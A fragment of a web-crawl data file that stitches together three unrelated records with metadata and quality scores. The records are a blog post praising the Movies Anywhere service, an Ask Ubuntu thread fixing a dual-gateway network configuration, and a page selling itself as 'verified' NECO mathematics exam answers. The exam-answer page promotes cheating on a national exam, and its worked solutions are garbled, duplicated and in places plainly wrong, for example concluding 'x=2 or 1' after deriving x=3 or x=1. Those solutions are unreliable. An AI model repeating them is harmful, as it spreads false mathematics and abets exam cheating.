"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-2,316,623,239,538,584,000 | Finally, digital movie sanity
If you read back through a few years of posts here – mind you, I can’t recommend actually reading the last ten years of posts, but let’s assume that you are very very bored – you will see the chronicles of a guy who really wanted to move all of his movies off of discs and into digital form so they could be stored on a server and accessed without needing to get up off the couch and look for discs.
Also, I had several bookshelves full of DVDs and there is something really pathetic about a living room that looks like a video store.
Most movies these days come with a digital copy code. That wasn’t always the case, and I know far too much about DVD ripping and encoding as a result. Not all movies come with a code I can use in iTunes, however, and this is annoying because a) I have a pretty substantial investment in Apple-branded gadgets and b) UltraViolet, the “not-iTunes” alternative is… well, it’s always struck me as something designed by committee, with far too many compromises. iTunes codes let me download a local file, and I like having local files.
About 3 years ago, Disney came up with a neat idea – “Disney Movies Anywhere” – which let you redeem your digital copy codes in one central location and gave you access to your movies on your provider-of-choice. It also tied into Disney’s rewards program, and over the years I have gotten a few free blu-rays out of the whole deal.
Oh, and if you BOUGHT a Disney movie on your digital provider-of-choice, that movie would sync back to Disney Movies Anywhere and then to your other sites. So, even though I pretty much only use iTunes, I was able to snag a couple cheap movies off Google Play and have them sync over to iTunes.
As of last week, however, the “Disney Movies Anywhere” program has been rebranded to “Movies Anywhere” and now has most of the major studios on-board. Paramount, Lionsgate and MGM are the significant holdouts, but having Warner, Sony, Universal, and Fox means that we are very close to a buy-once-play-anywhere future.
Two more things that are particularly good for me from this:
One, Vudu is a supported retailer for Movies Anywhere. This doesn’t mean a lot by itself – though I suppose I can start looking at Vudu sales – but it means that I can take advantage of their “Disc 2 Digital” program, where I stick a disc into my computer, their software scans it, and then I can get a digital copy for $2… or, if I have a DVD and want an HD version, that will set me back five bucks.
I didn’t upgrade most of our DVDs to blu-ray because paying 20 or 30 bucks per disc was nuts. I still won’t upgrade most of them to high def, but at only $5 per I am upgrading some of them.
Second, not being a fan of UltraViolet, I never redeemed any UV codes. They have expiration dates printed on them, so I didn’t think they’d actually work…
…but apparently the expiration dates are more like guidelines.
The bottom two codes are actually from Warner’s digital copy program, pre-Ultraviolet, and I have a vague memory of trying to redeem them some years ago and being told that they were past their sell-by date, as it were. It seems that they got a second life.
Oh, and third: Many of the older digital copies I had were SD copies. A side effect of linking iTunes into MA is that those movies got free upgrades to HD. I like free upgrades.
So, big thumbs-up from this geek. Now they just need to get those last few studios into the program.
This entry was posted in movies & tv, organization. Bookmark the permalink.
Leave a Reply
Fill in your details below or click an icon to log in:
WordPress.com Logo
You are commenting using your WordPress.com account. Log Out / Change )
Google+ photo
You are commenting using your Google+ account. Log Out / Change )
Twitter picture
You are commenting using your Twitter account. Log Out / Change )
Facebook photo
You are commenting using your Facebook account. Log Out / Change )
w
Connecting to %s | {
"url": "https://baudattitude.com/2017/10/14/finally-digital-movie-sanity/",
"source_domain": "baudattitude.com",
"snapshot_id": "crawl=CC-MAIN-2018-17",
"warc_metadata": {
"Content-Length": "65881",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GK5F3SSSY77CRTXQM4KZLEEOVOB5DQZZ",
"WARC-Concurrent-To": "<urn:uuid:87d4902a-11ef-4186-847c-241daeeb27cc>",
"WARC-Date": "2018-04-26T13:22:31Z",
"WARC-IP-Address": "192.0.78.25",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:MYECLOQHEJFJRYVZHII2RVEFPWXJHJRJ",
"WARC-Record-ID": "<urn:uuid:db00dd8b-4356-46c0-8fda-894a166da851>",
"WARC-Target-URI": "https://baudattitude.com/2017/10/14/finally-digital-movie-sanity/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:37d12d59-2f89-44ec-b762-5dc2b3c5ee20>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-45-105-213.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-17\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for April 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
30,
31,
431,
432,
567,
568,
1102,
1103,
1436,
1437,
1733,
1734,
2054,
2055,
2116,
2117,
2520,
2521,
2712,
2713,
2869,
2870,
2933,
2934,
3194,
3195,
3375,
3376,
3478,
3479,
3481,
3482,
3558,
3559,
3573,
3574,
3629,
3630,
3649,
3650,
3723,
3724,
3738,
3739,
3806,
3807,
3823,
3824,
3891,
3892,
3907,
3908,
3976,
3977,
3979,
3980
],
"line_end_idx": [
30,
31,
431,
432,
567,
568,
1102,
1103,
1436,
1437,
1733,
1734,
2054,
2055,
2116,
2117,
2520,
2521,
2712,
2713,
2869,
2870,
2933,
2934,
3194,
3195,
3375,
3376,
3478,
3479,
3481,
3482,
3558,
3559,
3573,
3574,
3629,
3630,
3649,
3650,
3723,
3724,
3738,
3739,
3806,
3807,
3823,
3824,
3891,
3892,
3907,
3908,
3976,
3977,
3979,
3980,
3996
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3996,
"ccnet_original_nlines": 56,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4429223835468292,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03767123073339462,
"rps_doc_frac_lines_end_with_ellipsis": 0.017543859779834747,
"rps_doc_frac_no_alph_words": 0.16438356041908264,
"rps_doc_frac_unique_words": 0.46927374601364136,
"rps_doc_mean_word_length": 4.353352069854736,
"rps_doc_num_sentences": 34,
"rps_doc_symbol_to_word_ratio": 0.004566209856420755,
"rps_doc_unigram_entropy": 5.367430210113525,
"rps_doc_word_count": 716,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03529034182429314,
"rps_doc_frac_chars_dupe_6grams": 0.01924928091466427,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009624640457332134,
"rps_doc_frac_chars_top_3gram": 0.020532559603452682,
"rps_doc_frac_chars_top_4gram": 0.026948990300297737,
"rps_doc_books_importance": -409.3578796386719,
"rps_doc_books_importance_length_correction": -409.3578796386719,
"rps_doc_openwebtext_importance": -227.24417114257812,
"rps_doc_openwebtext_importance_length_correction": -227.24417114257812,
"rps_doc_wikipedia_importance": -222.23922729492188,
"rps_doc_wikipedia_importance_length_correction": -222.23922729492188
},
"fasttext": {
"dclm": 0.04505211114883423,
"english": 0.9527119994163513,
"fineweb_edu_approx": 0.9644662737846375,
"eai_general_math": 0.00032245999318547547,
"eai_open_web_math": 0.19328999519348145,
"eai_web_code": 0.000015020000319054816
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "791.4372",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,347,894,632,875,004,000 | Sign up ×
Ask Ubuntu is a question and answer site for Ubuntu users and developers. It's 100% free.
For some reason my eth0 does not have internet on reboot sometimes. I am using a static ip. I can ping my gateway, but I am unable to ping dns servers, or anything out of my network. It seems that when my internet does work(Usually but just restarting enough times), my /etc/resolv.conf has a nameserver in it. It is empty when I have no internet access. I believe something is overwriting my interfaces settings sometimes on boot. Any help would be appreciated. I am running Ubuntu Server 12.04 64bit
/etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 173.213.192.234
netmask 255.255.255.248
network 173.213.192.232
broadcast 173.213.192.239
gateway 173.213.192.233
dns-nameservers 8.8.8.8
auto eth1
iface eth1 inet static
address 10.0.0.106
netmask 255.255.255.0
gateway 10.0.0.1
share|improve this question
2
You can't have more than one default gateway. What is that eth1 network? – Eric Carvalho Jun 25 '13 at 21:35
eth1 is a local network. eth0 points to the outside network(internet). – user1221444 Jun 25 '13 at 21:39
1
@user1221444 Well, that's not what you tell Ubuntu here by providing two gateways! :) By providing two default routes it will be very random about which one it will actually use to connect to the outside world. – gertvdijk Jun 25 '13 at 21:40
Does 10.0.0.1 exist? Do you need it to access another network? – Eric Carvalho Jun 25 '13 at 21:40
1
@user1221444 Again, remove the gateway from the eth1 definition. If you need specific networks to be routed over 10.0.0.1 you'll have to set it up manually. You don't have to do anything for 10.0.0.0/24 as that's on the local link of eth1. – gertvdijk Jun 25 '13 at 21:41
1 Answer 1
up vote 3 down vote accepted
Try this interfaces file:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 173.213.192.234
netmask 255.255.255.248
gateway 173.213.192.233
dns-nameservers 8.8.8.8
auto eth1
iface eth1 inet static
address 10.0.0.106
netmask 255.255.255.0
up route add -net 10.0.0.0 netmask 255.0.0.0 gw 10.0.0.1
up route add -net 172.16.0.0 netmask 255.240.0.0 gw 10.0.0.1
up route add -net 192.168.0.0 netmask 255.255.0.0 gw 10.0.0.1
This will redirect all local traffic to 10.0.0.1 and Internet to 173.213.192.233.
share|improve this answer
Nevemind, once I rebooted, it worked, I'll mark this as accepted, thank you very much. – user1221444 Jun 25 '13 at 22:00
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://askubuntu.com/questions/312718/etc-network-interfaces-doesnt-always-take-affect",
"source_domain": "askubuntu.com",
"snapshot_id": "crawl=CC-MAIN-2015-40",
"warc_metadata": {
"Content-Length": "76906",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:X2DNGODJTRHNN4TOSP2HVNVW4D2X6JP5",
"WARC-Concurrent-To": "<urn:uuid:802d6151-df46-4282-8d1f-2b40ea5db512>",
"WARC-Date": "2015-10-06T19:14:04Z",
"WARC-IP-Address": "198.252.206.24",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:LXRE3KYHFKSPLAGZBCSOXAI7DND7CZRQ",
"WARC-Record-ID": "<urn:uuid:65707ff1-d27b-4feb-a990-8f1cc6b32392>",
"WARC-Target-URI": "http://askubuntu.com/questions/312718/etc-network-interfaces-doesnt-always-take-affect",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7f005f2d-86bc-41be-b8b4-474057ce4a84>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-137-6-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-40\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for September 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
10,
100,
101,
603,
604,
629,
630,
638,
661,
662,
663,
674,
698,
727,
756,
785,
816,
845,
874,
875,
886,
910,
934,
961,
983,
1011,
1015,
1125,
1130,
1236,
1240,
1484,
1489,
1589,
1593,
1866,
1867,
1878,
1879,
1908,
1909,
1935,
1936,
1944,
1967,
1968,
1978,
2001,
2029,
2057,
2085,
2113,
2114,
2124,
2147,
2170,
2196,
2257,
2322,
2388,
2389,
2471,
2472,
2498,
2503,
2625,
2626,
2638,
2639,
2641,
2649,
2650,
2728,
2729
],
"line_end_idx": [
10,
100,
101,
603,
604,
629,
630,
638,
661,
662,
663,
674,
698,
727,
756,
785,
816,
845,
874,
875,
886,
910,
934,
961,
983,
1011,
1015,
1125,
1130,
1236,
1240,
1484,
1489,
1589,
1593,
1866,
1867,
1878,
1879,
1908,
1909,
1935,
1936,
1944,
1967,
1968,
1978,
2001,
2029,
2057,
2085,
2113,
2114,
2124,
2147,
2170,
2196,
2257,
2322,
2388,
2389,
2471,
2472,
2498,
2503,
2625,
2626,
2638,
2639,
2641,
2649,
2650,
2728,
2729,
2819
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2819,
"ccnet_original_nlines": 74,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23259052634239197,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011142060160636902,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4484679698944092,
"rps_doc_frac_unique_words": 0.47045454382896423,
"rps_doc_mean_word_length": 4.724999904632568,
"rps_doc_num_sentences": 114,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.043801307678223,
"rps_doc_word_count": 440,
"rps_doc_frac_chars_dupe_10grams": 0.17797018587589264,
"rps_doc_frac_chars_dupe_5grams": 0.26743626594543457,
"rps_doc_frac_chars_dupe_6grams": 0.2635882496833801,
"rps_doc_frac_chars_dupe_7grams": 0.2058682143688202,
"rps_doc_frac_chars_dupe_8grams": 0.2058682143688202,
"rps_doc_frac_chars_dupe_9grams": 0.17797018587589264,
"rps_doc_frac_chars_top_2gram": 0.014430009759962559,
"rps_doc_frac_chars_top_3gram": 0.020202020183205605,
"rps_doc_frac_chars_top_4gram": 0.025974029675126076,
"rps_doc_books_importance": -223.783935546875,
"rps_doc_books_importance_length_correction": -223.783935546875,
"rps_doc_openwebtext_importance": -115.15330505371094,
"rps_doc_openwebtext_importance_length_correction": -115.15330505371094,
"rps_doc_wikipedia_importance": -65.72643280029297,
"rps_doc_wikipedia_importance_length_correction": -65.72643280029297
},
"fasttext": {
"dclm": 0.06530773639678955,
"english": 0.8347869515419006,
"fineweb_edu_approx": 1.366235613822937,
"eai_general_math": 0.0005579600110650063,
"eai_open_web_math": 0.03885209932923317,
"eai_web_code": 0.000026699999580159783
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.02854",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.462",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
1,910,864,950,314,046,000 | Neco mathematics obj and theory answers verified by Bmasterz
0
25
Please,invite your friends and share this page to your NECO friends.
NECO MATHS OBJ VERIFIED BY BMASTERZ
1-10=CCAADDEECE
11-20=EEBABAADCC
21-30=CBEEDABDDD
31-40=BCCCDDCADE
41-50=BDCDDCDECD
51-60=BCDCAEDCDD
☆BMASTERZ☆
.MATHEMATICS-Answers
Use This No1 pls is more acurate
1)
tabulate
Number-
5932
*6141
num
3679
*3113
den
Log
3.7732
3.7882
7.5612
3.5657
3.4931
7.0588
anti log
7.5612
7.0588/0.5024/3=0.1675
anti log
=1471*10
================================
3a)
P=100I/RT=100*30,000/4*3
P=N250,000
================================
5)
tabulate
Mark- 21-25,26-30,31-35,36-40,41-45,46-50
F- 6,8,12,4,6,4=40
X- 23,28,33,38,43,48
FX- 138,224,396,152,258,192=1360
Class Boundaries- 20.5-20.5, 25.5-30.5,35.5-40.50,40.5-45.5
5i)
MEAN
(X)=EFX/EF=1360/40=34
MODE
L1+[Fm-Fa/2fm-fa-fb]c
=30.5+[12-8/2(12)-8-4]5
=30.5+[4/12]5
=30.5+1.67
=32.17
6i)
7+8+x = 47
15+ 2x =47
2x = 47- 15
2x/2 = 32/2
divide both side by 2
x=16
6ii)
tran only;:
7+8 + 3 + y=30
18 +y =30
y=30 -18 =12
:. Tran only =12 iii) at least two: 7+ 16+ 3 +8 =34
iv)16 + 7 +12 +16 +8 + 3 + Q=95
62+ Q =95
Q= 95 -62
Q=33 :. Car only = 33
(1)
TABULATE
No|Log|
5932|3.7732|
*6141|3.7882|
Num|7.5612|7.5612
3679|3.5657|
*3113|3.4931|
Den|7.0588|7.0588
| |0.5024/3=0.1675
Antilog:-1.471*10^0
=1.471
==================================
(2)
a = 3, b = 20, C = -7
Sum is
(A/1 + 1/B + B/1 + 1/ A) Note A means Alpha and B means beta
A^2 B + B^2 + A + B / AB
= -7/3 (-20/3) + (-20/3) = 140/9 – 20/3 / -7/3
= 80/9 x -3/7 = -80/21
Product:
-7/3 + 2 + 1/-7/3 = -7/3 + 2/1 – 3/7
= -49+42-9/21
= -16/21
x^2 – (sum)x + product= 0
x^2 – 80/21x + (-16/21) = 0
Final Answer : 21x^2 – 80x – 16 = 0
================================
(3a)
P=100I/RT=100*30,000/4*3
P=N250,000
(3b)
#7000 to Francs
#1 = 8 francs
.:.#7000 = ? france
CROSS MULTIPLY
8/1 * 7000 = 56,000 franc
Spending 49,400 franc
56, 000- 49,400 = 6600
Converting 6 ,600 franc to # AT 10 franc TO 1#
10 franc —– 1#
6600 FRANCS —? #
= 6,600/10 X 1
=#660
===================================
(4i )
difference in latitude = 36 degree + 36 degree = 72degree
distance travelled =@/ 360* 2pier
= 72 / 360* 2* 22 / 77* 64
= 20275200 / 2520
= 8045 . 71
= 8050 km ( 3 s.f )
(4ii)
given that speed = 800 km / hr
distance travelled = 804571 km
time = distance travelled / speed
= 8045 . 71/ 800
= 10 .057
= 10 hrs ( to the nearest hour )
===================================
(5)
Tabulate
Mark – 21- 25, 26- 30, 31- 35,36 -40 ,41 -45 ,46- 50
F – 6 ,8, 12,4 ,6, 4= 40
X – 23,28 ,33 ,38, 43, 48
FX – 138, 224, 396, 152, 258, 192= 1360
Class Boundaries- 20 .5 -20 .5, 25 .5 -30 .5, 35. 5- 40. 50,40 .5 -45 .5
(5i)
MEAN
( X )= EFX / EF = 1360/ 40 = 34
MODE
L 1+ [Fm – Fa / 2fm – fa -fb ] c
= 30 .5+ [12 -8/ 2 ( 12 ) -8- 4] 5
= 30 .5+ [4/ 12 ]5
= 30 .5+ 1.67
= 32 .17
===================================
(6)
(i)
7+8+x = 47
15+ 2x =47
2x = 47- 15
2x/2 = 32/2
Divide both side by 2
x=16
(ii)
Train only;:
7+8 + 3 + y=30
18 +y =30
y=30 -18 =12
.:. Train only =12
(iii)
at least two: 7+ 16+ 3 +8 =34
(iv)
16 + 7 +12 +16 +8 + 3 + Q=95
62+ Q =95
Q= 95 -62
Q=33 :. Car only = 33
=======================================
(7a)
a+2d=11—eq1
-(a+8d)=29
-6d/-6=-18/-6
d=3
Sub for d=3 in eq1
a+2(3)=11
a+6=11
a=11-6
a=5
(7b)
L = ar^n-1
729/3 = 3/3 x 3^n-1
243 = 3^n-1
3^5 = 3^-1
5 = n-1
N = 5+1
= 6
Sn = a(r^-1)/r-1 = 3(3^6 – 1)/3-1
Sn = 3( 729 -1)/2
S6 = 3 x 728/2
S6 = 1092
(7c)
3x^3/3 + x | 2,1
(2^3 + 2) – (1^3+1)
(8+2) – (1+1)
= 8
=================================
(8ai)
y=(4x+9)^3
Let u=4x+9
y=u^3
du/dx=4,dy/du=3u^2
dy/dx=dy/du*dy/dx
=4*3u^2
=12u^2
Recall u=4x+9
therefore dy/dx=12(4x+9)^2
(8aii)
y=(3x-2)^3(x^2+4)^2
u=(3x-2)^3, v=(x^2+4)^2
du/dx=3.3(3x-2)^3-1
dv/dx=2x.2(x^2+4)^2-1
du/dx=9(3x-2)^2
dv/dx=4x(x^2+4)
dy/dx=Vdu/dx +Udv/dx
=(x^2+4)^2[9(3x-2)^2+(3x-2)^3][4x(x^2+4)]
=(x^2+4)(3x-2)^2(9x^2+36+12x^2-8x)
=(x^2+4)(3x-2)^2(21x-8x+36)
(8b)
y-y1=m(x-x1)
y-6=2(x-2)
y-6=2x-4
y=2x-4+6
y=2x+2
===============================
(9a)
y proportional x proportional 1/x
y=kx/1 +k/x
4=2k/1+k/2
4=(4k+k)/2
8=5k
k=8/5
Relationship:
y=kx/1+k/x
y=8x/5+8/5x
(9b)
4(3^x+1)-3^2x=27
4(3^x *3^1)-362x=3^3
let 3^x=p
4(3p)-p^2=27
12p-p2=27
p^2-12p+27=0
p^2-9p-3p+27=0
p(p-9)-3(p-9)=0
(p-9)(p-3)=0
p=9 or p=3
Recall 3^x=p
when p=9
3^x=3^3
x=3
when p=3
3^x=3^1
x=1
therefore x=2 or 1
==================================
(11a)
Tabulate
X- |-1| |0| |1| |2| |3| |4|
6 |6| |6| |6| |6| |6| |6|
+X |-1| |0| |1| |2| |3| |4|
-X^2 |-1| |0| |-1| |-4| |-9| |16|
Y- |4| |6| |6| |4| |0| |-6|
(11b)
Draw the graph
(11ci)
gradient at x/x
dy/dx =B-A/B-C
=7-4/2-1=3/1=3
(11cii)
roots of equation from the graph
x=-2.2 and x=3
(11ciii)
minimum value of y
=6.4
================
Keep refreshing.more loading…
Keep refreshing this page for more answers…
(adsbygoogle = window.adsbygoogle || []).push({});
(adsbygoogle = window.adsbygoogle || []).push({});
LEAVE A REPLY
Please enter your comment!
Please enter your name here | {
"url": "https://bmasterz.com/2017/06/neco-mathematics-obj-and-theory-answers/",
"source_domain": "bmasterz.com",
"snapshot_id": "crawl=CC-MAIN-2018-26",
"warc_metadata": {
"Content-Length": "127409",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GVX7WUFBNZ37776KGSHGGT2TDR5IYK3I",
"WARC-Concurrent-To": "<urn:uuid:5f6dcb88-69ed-40d1-b82f-f323d63b64e0>",
"WARC-Date": "2018-06-22T22:34:06Z",
"WARC-IP-Address": "198.54.114.212",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:I6FYUJCKQIVX6IAUN6AX6Y5R3UAQVKI3",
"WARC-Record-ID": "<urn:uuid:9642924a-28aa-4d0e-9ac3-6224cde5e894>",
"WARC-Target-URI": "https://bmasterz.com/2017/06/neco-mathematics-obj-and-theory-answers/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9c647fd2-1b7b-44f8-b704-c6e05a3ffcaf>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-228-204-2.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
61,
62,
64,
67,
68,
137,
138,
142,
143,
179,
180,
196,
213,
230,
247,
264,
281,
282,
293,
294,
315,
348,
351,
360,
368,
373,
379,
383,
388,
394,
398,
402,
409,
416,
423,
430,
437,
444,
453,
460,
483,
492,
501,
534,
538,
563,
574,
607,
610,
619,
661,
680,
701,
734,
794,
798,
803,
825,
830,
852,
876,
890,
901,
908,
909,
914,
926,
938,
951,
964,
965,
988,
994,
1000,
1013,
1029,
1040,
1054,
1107,
1108,
1141,
1152,
1163,
1186,
1187,
1191,
1200,
1208,
1221,
1235,
1253,
1266,
1280,
1298,
1317,
1337,
1344,
1345,
1380,
1381,
1385,
1407,
1414,
1475,
1500,
1547,
1570,
1579,
1616,
1630,
1639,
1665,
1693,
1729,
1730,
1763,
1764,
1769,
1794,
1805,
1806,
1811,
1827,
1841,
1861,
1876,
1902,
1924,
1947,
1994,
2009,
2026,
2041,
2047,
2048,
2084,
2085,
2091,
2149,
2183,
2210,
2228,
2240,
2260,
2261,
2267,
2298,
2329,
2363,
2380,
2390,
2423,
2424,
2460,
2461,
2465,
2474,
2527,
2552,
2578,
2618,
2691,
2692,
2697,
2702,
2734,
2735,
2740,
2773,
2808,
2827,
2841,
2850,
2851,
2887,
2888,
2892,
2896,
2907,
2918,
2930,
2942,
2964,
2969,
2970,
2975,
2988,
3003,
3013,
3026,
3045,
3046,
3052,
3082,
3083,
3088,
3117,
3127,
3137,
3159,
3160,
3200,
3201,
3206,
3218,
3229,
3243,
3247,
3266,
3276,
3283,
3290,
3294,
3295,
3300,
3311,
3331,
3343,
3354,
3362,
3370,
3374,
3408,
3426,
3441,
3451,
3452,
3457,
3474,
3494,
3508,
3513,
3514,
3548,
3549,
3555,
3566,
3577,
3583,
3602,
3620,
3628,
3635,
3649,
3676,
3677,
3684,
3704,
3728,
3748,
3770,
3786,
3802,
3823,
3865,
3900,
3928,
3929,
3934,
3947,
3958,
3967,
3976,
3983,
3984,
4016,
4017,
4022,
4056,
4068,
4079,
4090,
4095,
4101,
4115,
4126,
4138,
4139,
4144,
4161,
4182,
4192,
4205,
4215,
4228,
4243,
4259,
4272,
4283,
4296,
4305,
4313,
4317,
4326,
4334,
4338,
4357,
4358,
4393,
4394,
4400,
4409,
4437,
4463,
4491,
4525,
4553,
4554,
4560,
4575,
4576,
4583,
4599,
4614,
4629,
4630,
4638,
4671,
4686,
4687,
4696,
4715,
4720,
4721,
4738,
4739,
4769,
4770,
4774,
4775,
4819,
4820,
4871,
4872,
4873,
4924,
4925,
4939,
4940,
4967
],
"line_end_idx": [
61,
62,
64,
67,
68,
137,
138,
142,
143,
179,
180,
196,
213,
230,
247,
264,
281,
282,
293,
294,
315,
348,
351,
360,
368,
373,
379,
383,
388,
394,
398,
402,
409,
416,
423,
430,
437,
444,
453,
460,
483,
492,
501,
534,
538,
563,
574,
607,
610,
619,
661,
680,
701,
734,
794,
798,
803,
825,
830,
852,
876,
890,
901,
908,
909,
914,
926,
938,
951,
964,
965,
988,
994,
1000,
1013,
1029,
1040,
1054,
1107,
1108,
1141,
1152,
1163,
1186,
1187,
1191,
1200,
1208,
1221,
1235,
1253,
1266,
1280,
1298,
1317,
1337,
1344,
1345,
1380,
1381,
1385,
1407,
1414,
1475,
1500,
1547,
1570,
1579,
1616,
1630,
1639,
1665,
1693,
1729,
1730,
1763,
1764,
1769,
1794,
1805,
1806,
1811,
1827,
1841,
1861,
1876,
1902,
1924,
1947,
1994,
2009,
2026,
2041,
2047,
2048,
2084,
2085,
2091,
2149,
2183,
2210,
2228,
2240,
2260,
2261,
2267,
2298,
2329,
2363,
2380,
2390,
2423,
2424,
2460,
2461,
2465,
2474,
2527,
2552,
2578,
2618,
2691,
2692,
2697,
2702,
2734,
2735,
2740,
2773,
2808,
2827,
2841,
2850,
2851,
2887,
2888,
2892,
2896,
2907,
2918,
2930,
2942,
2964,
2969,
2970,
2975,
2988,
3003,
3013,
3026,
3045,
3046,
3052,
3082,
3083,
3088,
3117,
3127,
3137,
3159,
3160,
3200,
3201,
3206,
3218,
3229,
3243,
3247,
3266,
3276,
3283,
3290,
3294,
3295,
3300,
3311,
3331,
3343,
3354,
3362,
3370,
3374,
3408,
3426,
3441,
3451,
3452,
3457,
3474,
3494,
3508,
3513,
3514,
3548,
3549,
3555,
3566,
3577,
3583,
3602,
3620,
3628,
3635,
3649,
3676,
3677,
3684,
3704,
3728,
3748,
3770,
3786,
3802,
3823,
3865,
3900,
3928,
3929,
3934,
3947,
3958,
3967,
3976,
3983,
3984,
4016,
4017,
4022,
4056,
4068,
4079,
4090,
4095,
4101,
4115,
4126,
4138,
4139,
4144,
4161,
4182,
4192,
4205,
4215,
4228,
4243,
4259,
4272,
4283,
4296,
4305,
